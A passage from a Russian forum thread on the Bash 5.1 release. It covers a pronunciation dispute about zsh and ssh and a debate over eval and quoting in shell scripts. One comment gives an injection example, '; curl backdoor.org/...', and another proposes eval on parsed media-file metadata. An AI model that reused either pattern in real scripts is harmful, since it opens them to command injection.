	Ну, да, всё верно: в зависимости от предпочтения - "зи эс эйч" или "зед эс эйч", а по-русски (на латыни) - "зэ эс аш". Других вариантов в жизни я не слылал. Ну и пишут "ЗСШ" иногда )
	Ответить | Правка | Наверх | Cообщить модератору

	136. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от IRASoldier_registered (ok), 08-Дек-20, 17:24
	Вариант произнесения аббревиатуры как не как слова, а именно как аббревиатуры - "зи-эс-эйч" тоже распространен, да. А "zish" - от редукции "zee shell" (с учетом американского "zee" вместо чисто британского "zed").
	Ответить | Правка | К родителю #98 | Наверх | Cообщить модератору

	133. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от IRASoldier_registered (ok), 08-Дек-20, 17:21
	> Во-первых, не немецкого, а латинского Латинский отчасти - ещё более далекое наследие, дореволюционных гимназий. > в математике "икс" из латинского алфавита, а не из английского? Я тебе, кажется, писал, что английский в советской школе был не в чести, не? А математика - естественно, что в ней использовались _латинские_ буквы, и вовсе не из-за идеологических тараканов советской школы, а потому что латинский долгое время был международным языком науки и из него выросла существенная часть математической терминологии, Кэп. > прикоснуться к этому образованию Твое предложение запоздало примерно на тридцать пять лет и было реализовано вне всякой зависимости от него. И это образование таки предполагало не механическое перенесение "традиций", а более гибкие вещи - там, где казалось неудобопроизносимым, скажем, "си-ай-эй", _переводили_ слова, стоящие за аббревиатурой и уже с полным языковым правом говорили "цэ-эр-у". > нет никаких разумных причин ломать свой язык Произносить _английские_ аббревиатуры по-английски не означает "ломать свой язык", пурист ты наш патриотический. Как раз напротив, по-дурацки выглядит натянутое совой на пень чтение иноязычного по-посконному, лишь бы "русскость" сохранить. "Пэхапэ", блин...   > Если бы они дали ему имя "hujsgory", то тогда было бы очевиднее, что это читается как "зиш". Подсказываю - чтобы узнать _общепринятое_ произношение аббревиатуры, надо просто не полениться поинтересоваться, как это произносят _носители_ языка, в чьей среде эта аббревиатура была придумана, как обозначение продукта, придуманного в этой же среде. Вот, например, "sputnik" принято произносить по-русски, потому что спутник сделали русские. И у них никому не приходит в голову бомбить, а что ж это надо говорить как русские, а не "спатнайк".
	Ответить | Правка | К родителю #88 | Наверх | Cообщить модератору

	242. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Ordu (ok), 09-Дек-20, 02:21
	>> нет никаких разумных причин ломать свой язык > Произносить _английские_ аббревиатуры по-английски не означает "ломать свой язык", пурист > ты наш патриотический. Как раз напротив, по-дурацки выглядит натянутое совой на > пень чтение иноязычного по-посконному, лишь бы "русскость" сохранить. Не проецируй своих тараканов на меня. У меня нет цели сохранять традицию: ты можешь воевать за её сохранение или разрушение -- один хрен на мой век хватит. Она проживёт достаточно долго, чтобы меня понимали столько, сколько мне надо. А то, что по-дурацки выглядит, дык это дело наживное: если люди хотят тебя слушать, то они потерпят дурацкость, то есть это будет их проблемами, а не моими. > Вот, например, "sputnik" принято произносить по-русски, потому что спутник сделали русские. И у них никому не приходит в голову бомбить, а что ж это надо говорить как русские, а не "спатнайк". Кстати, о спутниках. Я не считаю, что английский удачно подходит к заимствованию. Он таким заимствованием уже убил в практически в ноль идею своей фонетической письменности: нет ни одного правила трансляции последовательности английских букв в произношение, которое бы работало хотя бы в 90% случаев. Никаких большевиков не предвидится у них, которые могли бы приказным порядком провести реформу языка, наведя в нём порядок. Тут, мне кажется, ты совершаешь довольно распростанённую у русских ошибку: часть русских считает, что США -- пример для подражания и бездумно пытается копировать оттуда всё, другая часть считает, что США -- антипример, и пытается всё сделать наоборот. И те и другие -- долбонавты, идиоты и жертвы пропаганды: прежде чем занимать позицию о том, копировать ли что-то или "анти-копировать", надо посмотреть к чему это приводит в США, что происходит в других странах, и к чему приводит там, и на основании этого думать, как лучше делать у нас. И стоит ли вообще овчинка выделки: даже если можно сделать лучше, стоит ли это маргинальное лучше всех тех геморроев, которые нужны для  реформы? Ну вот реально, ты сейчас развоевался против чтения английский букв, как латинских, и чё? Вот если твоя война будет победоносной, что от этого станет лучше? Зарплаты может вырастут? Русский язык с заимствованием обходится довольно грамотно: надо взять слово и "обрусить" его по максимуму. Грамматикой ушибленные воюют за "кофе мужского рода", но это проблемы грамматики. Не, ну ты прикинь, была ведь идея реформы, с целью приблизить написание к произношению, типа писать "парашут", и что? Ушибленные грамматикой в школе против. Заимствованное слово полезно изменить так, чтобы оно имело бы предсказуемый род, чтобы оно склонялось по падежам, имело бы очевидную форму для множественного числа, и произносилось бы, не требуя от произносящего умения различать на слух английские фонемы.
	Ответить | Правка | Наверх | Cообщить модератору

	259. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от IRASoldier_registered (ok), 09-Дек-20, 14:00
	> У меня нет цели сохранять традицию Тогда нафига ты к ней отсылался? > Вот если твоя война будет победоносной, что от этого станет лучше? Зарплаты может вырастут? Ага, нахрена нужна культура - от неё что, масла на батоне больше станет? > была ведь идея реформы, с целью приблизить написание к произношению, типа писать "парашут", и что? > Ушибленные грамматикой в школе против. А, понятно, ты из тех, кто прямо вот так и говорит - "парашУт", "соНце", "доЖЖь" и т.п. Представь себе, мы так не говорим. Соответственно и писать так не будем :-) > к чему приводит ..., например, прочтение аббревиатур как надо? Например, к готовности воспринимать иностранные языки и культурные феномены, не загоняя себя в яму моноязычия и монокультурности. Очень полезно в открытом мире, знаешь ли.
	Ответить | Правка | Наверх | Cообщить модератору

	282. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Ordu (ok), 10-Дек-20, 07:00
	>> У меня нет цели сохранять традицию > Тогда нафига ты к ней отсылался? Ты к ней отослался, начав говорить про то, что советский союз... немецкий язык... что-то там ещё... Я лишь подобрал слово, для того, чтобы как-то назвать то, о чём ты говоришь. >> Вот если твоя война будет победоносной, что от этого станет лучше? Зарплаты может вырастут? > Ага, нахрена нужна культура - от неё что, масла на батоне больше > станет? При чём здесь культура? Или что ты имеешь в виду под словом "культура"? Есть разные определения, в том числе и биологическое. >> была ведь идея реформы, с целью приблизить написание к произношению, типа писать "парашут", и что? >> Ушибленные грамматикой в школе против. > А, понятно, ты из тех, кто прямо вот так и говорит - > "парашУт", "соНце", "доЖЖь" и т.п. Представь себе, мы так не говорим. Я согласен насчёт "дожжь" и "вожжь" -- так говорят только в Москве, но "парашут" и "сонце" говорят везде. Мне кажется, что ты не заморачивался слушать. Пробуй послушать, как люди говорят слово "яблоко". Запиши как ты произносишь -- вот реально, не читай пока дальше мою писанину, запусти audacity или достань из кармана смартфон, и скажи несколько раз слово "яблоко" под запись, прежде чем читать дальше --  и потом послушай: попробуй услышать там хоть одну 'о'. Если у тебя не о'кающее произношение, то там нет ни одного 'о', и ты произносишь это скорее как "яблэкэ". На деле там не 'э', а редуцированные 'о', но редуцированные так, что если тебе каким-то чудом удастся отвлечься от своего знания того, как пишется "яблоко" и после этого ты подумаешь как его писать, то скорее ты выберешь 'э', вместо обоих 'о'. >> к чему приводит > ..., например, прочтение аббревиатур как надо? Кому надо? Сорри, на столь тупой вопрос я не могу не ответить ещё более тупым вопросом (ты волен рассматривать его как риторический, он для тебя, а не для меня). Тут дело в том, что, действительно: _кому_ надо читать аббревиатуры как надо? Тебе? Шигорину? Васе Пупкину? Человечеству? Российской Федерации? Соединённым Штатам? Путину? Богу? Вселенной? Какое мне дело до всех этих людей? > Например, к готовности воспринимать иностранные > языки и культурные феномены, не загоняя себя в яму моноязычия и > монокультурности. Очень полезно в открытом мире, знаешь ли. Во-первых, мы говорим не об иностранном языке, мы говорим о _русском_ языке. Мне кажется, тебе стоило бы научиться различать эти понятия в своей голове. Если русский язык заимствует слово "федерация", он не произносит его как "федерашн", он произносит его как "федерация". Слово, употребляемое в русской речи -- это заимствованное слово. И произноситься оно должно так, чтобы быть понятным для потребителей русской речи. Во-вторых, да мне плевать, что там разные языки думают о "моноязычии" или "многокультурности". Если я скажу "гэцэцэ", ты поймёшь, а большего от тебя мне и не надо. При этом, американцы, я уверен, первыми согласятся со мной, потому как найти американца, который может в иностранный язык заметно сложнее, чем найти русского, который может в английский. Многокультурие с многоязычием и подражание иностранному -- это разные вещи. Не, я соглашусь, это сложная тема. Это очень близко к границе между догматичным почтением иностранцев (свойственного русской культуре) и русофилией, поэтому для русского сложно на этой границе выдерживать рациональность мышления, не сваливаясь либо в штампы пропаганды, либо в отрицание штампов пропаганды. И тут я могу дать тебе бесплатный совет: вблизи этой границы думай о своей рубахе ближе к телу. Не о высоких материях, типа многовековой культуры, немецкого языка или многоязычия, а о своей рубахе. Я всегда так делаю, очень помогает взвешенно думать в самых сложных случаях.
	Ответить | Правка | Наверх | Cообщить модератору

	285. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от IRASoldier_registered (ok), 10-Дек-20, 22:02
	>Если я скажу "гэцэцэ", ты поймёшь, а большего от тебя мне и не надо Видишь ли, проблема не только в том, что _понятно_. Так-то и высеры школоты капсами с ашипкой на ашипке в комментариях во ВКонтактике _понятны_. Но ты же не будешь топить за то, чтобы рассматривать их манеру письменного изъяснения как престижную норму, просто норму, широкую норму, вариации нормы? Или ты в принципе против самого понятия языковой нормы? >мы говорим не об иностранном языке, мы говорим о _русском_ языке Это пафос или ты просто не вкурил, о чем речь? >Если русский язык заимствует слово "федерация", он не произносит его как "федерашн", он произносит его как "федерация" ...потому, что русский язык исторически заимствовал слово "федерация" из того языка, где "федерация" произносится как "федерация", а не как "федерашн". Заимствовал бы из английского - произносили бы "федерашн", немного адаптировав под русское произношение.
	Ответить | Правка | Наверх | Cообщить модератору

	287. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Ordu (ok), 11-Дек-20, 04:42
	>>Если я скажу "гэцэцэ", ты поймёшь, а большего от тебя мне и не надо > Видишь ли, проблема не только в том, что _понятно_. Так-то и высеры > школоты капсами с ашипкой на ашипке в комментариях во ВКонтактике _понятны_. > Но ты же не будешь топить за то, чтобы рассматривать их > манеру письменного изъяснения как престижную норму, просто норму, широкую норму, вариации > нормы? Или ты в принципе против самого понятия языковой нормы? Не могу сказать, чтобы у меня была бы какая-то оформленная позиция на счёт языковой нормы. Я не против, но и не за. И совершенно беспринципен в этом отношении. >>мы говорим не об иностранном языке, мы говорим о _русском_ языке > Это пафос или ты просто не вкурил, о чем речь? Не то и не другое. Ты путаешь английский с русским. >>Если русский язык заимствует слово "федерация", он не произносит его как "федерашн", он произносит его как "федерация" > ...потому, что русский язык исторически заимствовал слово "федерация" из того языка, где > "федерация" произносится как "федерация", а не как "федерашн". Заимствовал бы из > английского - произносили бы "федерашн", немного адаптировав под русское произношение. Не, ты ошибаешься. Русский язык переделывает слова, и слова с *tion, при заимствовании, самым заурядным образом превращаются в *ция. Это как раз та самая языковая норма, о которой ты выше говоришь.
	Ответить | Правка | Наверх | Cообщить модератору

	290. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от IRASoldier_registered (ok), 13-Дек-20, 01:01
	> Не то и не другое. Ты путаешь английский с русским. (#Устало_поясняя) Т.е. ты не понял. Я не считаю, что человек, владеющий дефолтовым языком, непременно должен сводить все заимствования к дефолтовому. > Не, ты ошибаешься. Русский язык переделывает слова, и слова с *tion, при заимствовании, самым заурядным образом превращаются в *ция. Ошибаешься ты. Все зависит от того, как произносят заимствованное те, _кто_проводит_ заимствование. Если форсер нового слова преимущественно владеет латынью и немецким - его транскрипция будет одна, если французким - другая, если английским - третья. В 19 веке заимствования шли в научно-философской лексике по латинской и немецкой линии, в повседневно-бытовой - по французкой, а английский язык просто не имел того значения, которое имеет сейчас и англицизмы так или иначе подгонялись под "континентальный" стиль - отечественный историк не будет говорить о короле _Джордже_ или _Джеймсе_, только о _Георге_ или _Якове_. Но это не _норма_ русского языка в смысле обязательности, это норма только в смысле _привычки_ массы русскоязычных. Так-то если следовать _привычкам_, вон - "тся" и "ться" уже тысячи путают, нормой это объявлять? Ага, щаз.
	Ответить | Правка | Наверх | Cообщить модератору

	291. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Ordu (ok), 13-Дек-20, 05:37
	>> Не то и не другое. Ты путаешь английский с русским. > (#Устало_поясняя) Т.е. ты не понял. Я не считаю, что человек, владеющий дефолтовым > языком, непременно должен сводить все заимствования к дефолтовому. Я не говорил ничего о том, что кто-то "непременно должен". Я говорил о том, что я свожу, мне это удобно, и я буду сводить. >> Не, ты ошибаешься. Русский язык переделывает слова, и слова с *tion, при заимствовании, самым заурядным образом превращаются в *ция. > Ошибаешься ты. Все зависит от того, как произносят заимствованное те, _кто_проводит_ заимствование. Ну-ка приведи-ка мне пример заимствованного слова с *tion, которое читается как -*шн. Хороший такой закрепившийся пример, попавший в словари. "Шн" сложно произносится для непривычного русского языка, а вот "ция" хорошо и прельстивно прокатывается по нему.
	Ответить | Правка | К родителю #290 | Наверх | Cообщить модератору

	292. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от IRASoldier_registered (ok), 14-Дек-20, 23:48
	> я свожу, мне это удобно, и я буду сводить Вот с этого бы и начинал - "мне удобно, йо***пт!", а не "не надо путать русский с английским". > Ну-ка приведи-ка мне пример заимствованного слова с *tion, которое читается как -*шн. Некорректный вопрос. Потому что фактически все слова на *tion были _уже_ заимствованы в "доанглийский" период европеизации, когда происходило интенсивное обогащение русской лексики терминами, напрочь в ней отсутствующими. > хорошо и прельстивно прокатывается по нему ...для тебя.
	Ответить | Правка | К родителю #291 | Наверх | Cообщить модератору

	296. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Ordu (ok), 15-Дек-20, 12:14
	>> я свожу, мне это удобно, и я буду сводить > Вот с этого бы и начинал - "мне удобно, йо***пт!", а не > "не надо путать русский с английским". Но ты реально ведь путаешь, пытаясь объяснить мне, что я должен использовать английские названия букв в русском. >> Ну-ка приведи-ка мне пример заимствованного слова с *tion, которое читается как -*шн. > Некорректный вопрос. Потому что фактически все слова на *tion были _уже_ заимствованы > в "доанглийский" период европеизации, когда происходило интенсивное обогащение русской > лексики терминами, напрочь в ней отсутствующими. Это интенсивное обогащение происходит и сейчас. Весь IT состоит из слов, отсутствовавших в русском языке. В совке ещё пытались находить русские аналоги, но результат такой, что лучше бы они не пытались. А если тебе нужен пример, то глянь на слово "дефрагментация". Вот навскидку первое что пришло в голову. >> хорошо и прельстивно прокатывается по нему > ...для тебя. Для любого нативного русского, которой учился работать с этими звуками с момента рождения.
	Ответить | Правка | К родителю #292 | Наверх | Cообщить модератору

	297. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от IRASoldier_registered (ok), 16-Дек-20, 19:08
	>английские названия букв в русском Не-а. Английские названия _английских_ букв. Буквы "g" и "c" никак не русские, это не "г" и "ц" - так что выходит, что это ты путаешь английский с русским :-) >нативного русского, которой учился работать с этими звуками с момента рождения ...точнее - которого _учили_ только этому и при этом не учили, что существуют другие языки, с которыми желательно уметь обращаться, конечно, не на уровне нэйтивов, но уж точно и не на уровне "форест, форест, форест, ин зе миддл оф поляна стейт Иван Сусанин". У русских исторически сложились в менталитете не просто набор последствий от отсутствия нормального изучения иностранных языков, но и к этому чуть ли не гордость за _нежелание_ их учить.
	Ответить | Правка | К родителю #296 | Наверх | Cообщить модератору

	252. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от tmplsr (?), 09-Дек-20, 10:00
	>Во-первых, не немецкого, а латинского: Томик "Писем тёмных людей" про средневековую латынь этому адеквату!
	Ответить | Правка | К родителю #88 | Наверх | Cообщить модератору

	298. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от IRASoldier_registered (ok), 16-Дек-20, 19:15
	> Томик "Писем тёмных людей" Редкостное петросянство ниасиляторов томистской теологии. И да, средневековая латынь отличалась от классической - ничего удивительного, если язык используют, а не только любуются памятниками словесности на нём написанными, то он меняется.
	Ответить | Правка | Наверх | Cообщить модератору

	276. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (276), 09-Дек-20, 21:51
	>"зиш". Баш и зиш, да. А не пи...шь? ;)
	Ответить | Правка | К родителю #71 | Наверх | Cообщить модератору

	284. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от IRASoldier_registered (ok), 10-Дек-20, 21:48
	В углу скребет мышь.
	Ответить | Правка | Наверх | Cообщить модератору

	78. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Аноним (78), 08-Дек-20, 14:41
	Прочитайте-ка ssh, пожалуйста
	Ответить | Правка | К родителю #33 | Наверх | Cообщить модератору

	91. "Релиз командного интерпретатора Bash 5.1"	–2 +/–
	Сообщение от Ordu (ok), 08-Дек-20, 15:12
	> Прочитайте-ка ssh, пожалуйста Да, тоже гумно. Но альтернатив нету.
	Ответить | Правка | Наверх | Cообщить модератору

	205. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 08-Дек-20, 22:31
	dropbear же
	Ответить | Правка | Наверх | Cообщить модератору

	139. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от IRASoldier_registered (ok), 08-Дек-20, 17:30
	"Эс-эс-эйч", никаких проблем. Ну, разве что, может быть, "язык ломается" у тех, кому по каким-то причинам неприятно все иностранное.
	Ответить | Правка | К родителю #78 | Наверх | Cообщить модератору

	103. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Аноним (103), 08-Дек-20, 16:01
	зи-шэл
	Ответить | Правка | К родителю #33 | Наверх | Cообщить модератору

32. "Релиз командного интерпретатора Bash 5.1"	+4 +/–
Сообщение от Аноним (32), 08-Дек-20, 13:15
Баш вместе с линукс утилитками производительнее питона получается. И времени на код меньше уходит.
Ответить | Правка | Наверх | Cообщить модератору

	45. "Релиз командного интерпретатора Bash 5.1"	–3 +/–
	Сообщение от InuYasha (??), 08-Дек-20, 13:28
	Только maximum дырявity, поскольку разделение данные-инструкции очень слабое - т.е. часто переменая может стать командой (если в неё запишут "; curl backdoor.org/...".
	Ответить | Правка | Наверх | Cообщить модератору

	52. "Релиз командного интерпретатора Bash 5.1"	+2 +/–
	Сообщение от Аноним (230), 08-Дек-20, 13:49
	> часто переменая может стать командой (если в неё запишут "; curl backdoor.org/...". Это от криворукости. Разыменование переменной вне двойных кавычек бывает нужно крайне редко и только в тех случаях, когда ты сам эту переменную определил.
	Ответить | Правка | Наверх | Cообщить модератору

	59. "Релиз командного интерпретатора Bash 5.1"	–2 +/–
	Сообщение от Аноним (16), 08-Дек-20, 14:06
	Зато eval нужен очень часто, и ничего ты с этим не сделаешь.
	Ответить | Правка | Наверх | Cообщить модератору

	74. "Релиз командного интерпретатора Bash 5.1"	–2 +/–
	Сообщение от Аноним (70), 08-Дек-20, 14:30
	нет не нужен
	Ответить | Правка | Наверх | Cообщить модератору

	75. "Релиз командного интерпретатора Bash 5.1"	–2 +/–
	Сообщение от Аноним (16), 08-Дек-20, 14:34
	> нет не нужен Наверно твои скрипты совершенно неконфигурируемая лапша из одного харкода, тогда конечно. При определённой сложности скриптов возникает желание предоставить пользователю возможность конфигурировать части логики в своём конфигурационном файле (а заодно избавиться от необходимости постоянно править хардкод). При том хочется его не насиловать его лишний раз, так что да, очень даже нужен.
	Ответить | Правка | Наверх | Cообщить модератору

	77. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от Аноним (16), 08-Дек-20, 14:39
	А, ещё eval на хештейблы натравливать очень удобно. Хештейблы на порядки удобней альтернатив, особенно когда у тебя неизвестно число параметров. Держать десятки списков в памяти, чтобы отказаться от хэштейблов? Ну, удачи это потом сопровождать.
	Ответить | Правка | Наверх | Cообщить модератору

	105. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от InuYasha (??), 08-Дек-20, 16:03
	> Это от криворукости. Ага, заскриптуй там миллион кавычек в какой-нибудь ssh -t myserver.ass "sudo "wtf"; echo "shmuck $wtf""; if [[ ! -z $? ]]; then anus-cli --exec "select '$ohshit' insert into "$var" "some stupid string""fi" нувыпоняли.
	Ответить | Правка | Наверх | Cообщить модератору

	115. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Аноним (230), 08-Дек-20, 16:28
	В скрипте такого не пишут, в интерактиве одной строкой — тоже. Нет, мы не поняли, зачем это может быть нужно. Но тезис о криворукости ты подтвердил.
	Ответить | Правка | Наверх | Cообщить модератору

	255. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от InuYasha (??), 09-Дек-20, 12:20
	Ну, расскажи, чем вы отправляете команды на сервер? Ансибл-дством?
	Ответить | Правка | Наверх | Cообщить модератору

	79. "Релиз командного интерпретатора Bash 5.1"	+3 +/–
	Сообщение от Аноним (230), 08-Дек-20, 14:42
	> eval нужен очень часто Пишу много скриптов и со всей ответственностью могу сказать, что eval нужен крайне редко. Скорее всего, ты что-то не осилил и сильно усложняешь решение своих задач, если пользуешься им часто.
	Ответить | Правка | К родителю #59 | Наверх | Cообщить модератору

	81. "Релиз командного интерпретатора Bash 5.1"	–2 +/–
	Сообщение от Аноним (16), 08-Дек-20, 14:52
	Редко не редко, примерно в 1 из 10 случаев без него никак. Или как, но в 1000 раз сложнее и запутанее. Другое дело, что можно и взять питон. И использовать eval уже в нём, ахаха! Ну там ast.literal_eval есть что всё же получше. Да и в целом eval в питоне нужен примерно никогда, а вот в баше без него просто никуда. Вообще все динамические хэштейблы, массивы, переменные это всё eval будет.
	Ответить | Правка | Наверх | Cообщить модератору

	89. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 08-Дек-20, 15:07
	> примерно в 1 из 10 случаев без него никак У меня другая статистика. Приведи пример, что ли. (Хешами и массивами не пользуюсь, ибо переносимость нужна.)
	Ответить | Правка | Наверх | Cообщить модератору

	116. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 16:29
	Да банально eval declare -A ep=($(mediainfo "${filename}" --Output='Video;%Encoded_Library_Settings%' | tr -d '[:space:]' | tr '/' ' ' |  tr '(' '_' | tr ')' '_' | sed -r 's/(\S+)=(\S+)/[\1]=\2/g')) очень удобно и к чёрту переносимость.
	Ответить | Правка | Наверх | Cообщить модератору

	168. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Аноним (230), 08-Дек-20, 20:13
	Это не "к чёрту переносимость", это "к чёрту читаемость". Ты бы tr с sed подучил, этот ужас можно минимум на треть сократить. tr '/' ' ' |  tr '(' '_' | tr ')' '_' можно заменить на tr '/()' ' _' можно вообще выкинуть tr, раз используешь sed, в нём же есть аналогичная команда y/// можно не париться удалением пробелов, башу пофиг, сколько их там можно упростить операцию подстановки, правая часть ведь не меняется: 's/(\S+)=/[\1]=/g'
	Ответить | Правка | Наверх | Cообщить модератору

	176. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 20:28
	Зачем мне его сокращать? Ты всерьёз полагаешь, что так написано не намерено? Несколько разных операторов в седе не всегда можно объединить за один вызов, поэтому легковесный tr тут вполне уместен. И это более читаемо. Но вообще, конечно, речь совсем не о том тут.
	Ответить | Правка | Наверх | Cообщить модератору

	187. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 08-Дек-20, 21:06
	> Ты всерьёз полагаешь, что так написано не намерено? Если строка такой длины появляется в коде на каком бы то ни было языке намеренно, это не говорит ничего хорошего об авторе сего кода. > Несколько разных операторов в седе не всегда можно объединить за один вызов Чёйта? > И это более читаемо. Нет.
	Ответить | Правка | Наверх | Cообщить модератору

	193. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 21:37
	>Если строка такой длины появляется в коде на каком бы то ни было языке намеренно, это не говорит ничего хорошего об авторе сего кода. Это моё дело, какой длины у меня строки, и ты лезешь не в своё дело. Это далеко не самая длинная строка и так более очевидно, что происходит, с первого взгляда. Вполне вероятно, это не конечный вариант. >Чёйта? А вот ВНЕЗАПНО, ахаха. >Нет. Да.
	Ответить | Правка | Наверх | Cообщить модератору

	206. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 08-Дек-20, 22:33
	> ты лезешь не в своё дело Ты первый полез не в свой дело, рассказывая всем, как им сильно нужен eval. > А вот ВНЕЗАПНО, ахаха. То есть слился, пруфов не будет. ОК.
	Ответить | Правка | Наверх | Cообщить модератору

	213. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 23:02
	>Ты первый полез не в свой дело, рассказывая всем, как им сильно нужен eval. Я даже привёл пример где он нужен и незаменим. >То есть слился, пруфов не будет. ОК. Гуляй, Вася.
	Ответить | Правка | К родителю #206 | Наверх | Cообщить модератору

	226. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 09-Дек-20, 01:12
	> Я даже привёл пример где он нужен и незаменим. Незаменим? Правда, что ль? Это тебе от недостатка фантазии так кажется. Тут и хеш заменим вполне. escape_re() {   sed 's/[][\\\/^$.*]/\\\0/g' } get_val() {   key_re=$(echo "$1" | escape_re)   echo "$VALS" | sed -n "s/^${key_re}=//p" } VALS=$( mediainfo "$filename" --Output='Video;%Encoded_Library_Settings%' | sed 's# / #\n#g' ) get_val "$key" Ни одного eval, ни одного башизма.
	Ответить | Правка | К родителю #213 | Наверх | Cообщить модератору

	228. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 09-Дек-20, 01:22
	Где ассоциативный массив в этом примере?
	Ответить | Правка | К родителю #226 | Наверх | Cообщить модератору

	232. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 09-Дек-20, 01:34
	Нет его, прикинь. POSIX же. Но эмулируется он вполне успешно.
	Ответить | Правка | К родителю #228 | Наверх | Cообщить модератору

	229. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 09-Дек-20, 01:23
	Ты вообще представляешь, как будет выглядеть эта лапша с getval?
	Ответить | Правка | К родителю #226 | Наверх | Cообщить модератору

	231. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 09-Дек-20, 01:31
	Ох у меня полыхнуло, ты мне предложил словарь где я могу итерировать по ключам и значениям поменять на такую-то лажу! Да ещё сед дёргать миллионы раз. Я сейчас вообще выкину сед и использую встроенные в баш регулярки и ты мне тут предлагаешь ещё больше седа (вместо буквально одного вызова миллионы). Зато "портабэльно ккоо".
	Ответить | Правка | К родителю #226 | Наверх | Cообщить модератору

	234. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 09-Дек-20, 01:51
	> Ох у меня полыхнуло Гори-гори-ясно! Чтобы-не-погасло! > ты мне предложил словарь где я могу итерировать по ключам и значениям поменять на такую-то лажу! Так и тут итерируй — не хочу. for kv in $VALS; do   key=$( echo "$kv" | cut -d= -f1 )   val=$( echo "$kv" | cut -d= -f2 )   # и твори с ними что хотишь done > Да ещё сед дёргать миллионы раз. Ну ладно, на тебе почти без седа. tr ты ведь любишь, да? escape_re() {   sed 's/[][\\\/^$.*]/\\\0/g' } get_val() {   key_re=$(echo "$1" | escape_re)   echo "$VALS" | grep "^${key_re}=" | cut -d= -f2 } VALS=$( mediainfo "$filename" --Output='Video;%Encoded_Library_Settings%' | tr -d ' ' | tr / '\n' ) get_val "$key" Если уверен в именах ключей, можно escape_re выкинуть, никакого седа не будет. А вообще расслабься. Я тебя не заставляю так делать, если не нравится. Я просто показал, что eval не является незаменимым. Если любишь словари, то и словарь таким образом наполнить можно, а потом с ним работать. Даже читабельнее получится, пусть и длиннее на несколько строчек.
	Ответить | Правка | К родителю #231 | Наверх | Cообщить модератору

	286. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 11-Дек-20, 04:32
	Всё ещё костыли, ужасные костыли, мусор, никуда не годится. Тот же tr заменяется на башизмы, sed заменяется на башизмы, grep тоже заменяется на башизмы, в итоге меньше операций, меньше времени расходуется впустую. Другое дело, что в коде который исполняется 1 раз это всё принципиально не нужно, но в твоём коде 100500 внешних вызовов -- каждый раз, когда тебе понадобится значение, его придётся выстрадывать. А значений там с полсотни, и это ведь только простенький кейс. А если что-то более сложное? Просто признай, что все шеллы, окромя баша, должны кануть в лету. И чем быстрее, тем лучше.
	Ответить | Правка | К родителю #234 | Наверх | Cообщить модератору

	293. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 15-Дек-20, 01:35
	Да, костыли. Но и eval костыль, и башизмы твои — костыли. Просто признай, что там, где нужна производительность и/или работа со сложно структурированными данными, никакой шелл не годится. Зато только шелл годится в случаях, когда нужно написать скрипт, который будет работать везде и всегда. Но нет, это не про bash.
	Ответить | Правка | К родителю #286 | Наверх | Cообщить модератору

	294. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 15-Дек-20, 10:04
	Всё же получше. Баш пытается изображать язык программирования. Вот я сейчас беру десятки пресетов, генерирую из них массивы, и достаточно эффективно сравниваю с ними (и работаю со значениями) используя средства шелла, и мне даже не надо думать о том, что будет, если там окажется что-то не то -- шелл сам сообщит об этом. А ещё баш имеет синтаксис для модификации элементов массива, он видится мне более аккуратным чем возня со строками. Тут же рядом у меня используется extglob, у даша этого опять же нет. У меня есть и другие скрипты с таким приёмом, мне страшно подумать, как ужасно они будут выглядеть без массивов (мне придётся весь файл забить мультистрочными значениями и всем прочим, как потом с этим работать? там логика сама по себе не такая простая).
	Ответить | Правка | К родителю #293 | Наверх | Cообщить модератору

	178. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 20:32
	>башу пофиг, сколько их там зато мне нет
	Ответить | Правка | К родителю #168 | Наверх | Cообщить модератору

	169. "Релиз командного интерпретатора Bash 5.1"	+/–
